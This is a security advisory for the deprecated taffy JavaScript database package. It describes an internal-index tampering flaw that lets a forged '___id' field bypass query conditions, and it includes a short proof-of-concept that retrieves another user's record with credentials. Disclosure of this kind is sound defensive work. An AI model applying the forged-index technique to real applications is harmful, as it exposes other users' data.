taffy@2.6.2 vulnerabilities

A node package for TaffyDB - an open source JavaScript Database for your browser

Direct Vulnerabilities

Known vulnerabilities in the taffy package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Internal Property Tampering

taffy is an opensouce library that brings database features into your JavaScript applications.

Affected versions of this package are vulnerable to Internal Property Tampering. taffy sets an internal index for each data item in its DB. However, it is found that the internal index can be forged by adding additional properties into user-input. If an index is found in the query, taffyDB will ignore other query conditions and directly return the indexed data item. Moreover, the internal index is in an easily-guessable format (e.g. T000002R000001). As such, attackers can use this vulnerability to access any data items in the DB and exploit an SQL Injection.

Note: The taffy package has been deprecated by the author. Its successor package, taffydb, is also found to be vulnerable and is not actively maintained.

PoC

var TAFFY = require('taffy');
var friends = TAFFY([
        {"id":1,"gender":"M","username":"Smith","password":"aaa","status":"Active"},
        {"id":2,"gender":"F","username":"Ruth","password":"bbb","status":"Active"},
        {"id":3,"gender":"M","username":"Stevenson","password":"ccc","status":"Active"},
        {"id":4,"gender":"F","username":"Gill","password":"ddd","status":"Active"}
]);

var json = {username:"Smith", "password":"123", "___id":"T000002R000002", "___s":true};
var item1 = friends(json);
console.log(item1.first());

How to fix Internal Property Tampering?

There is no fixed version for taffy.

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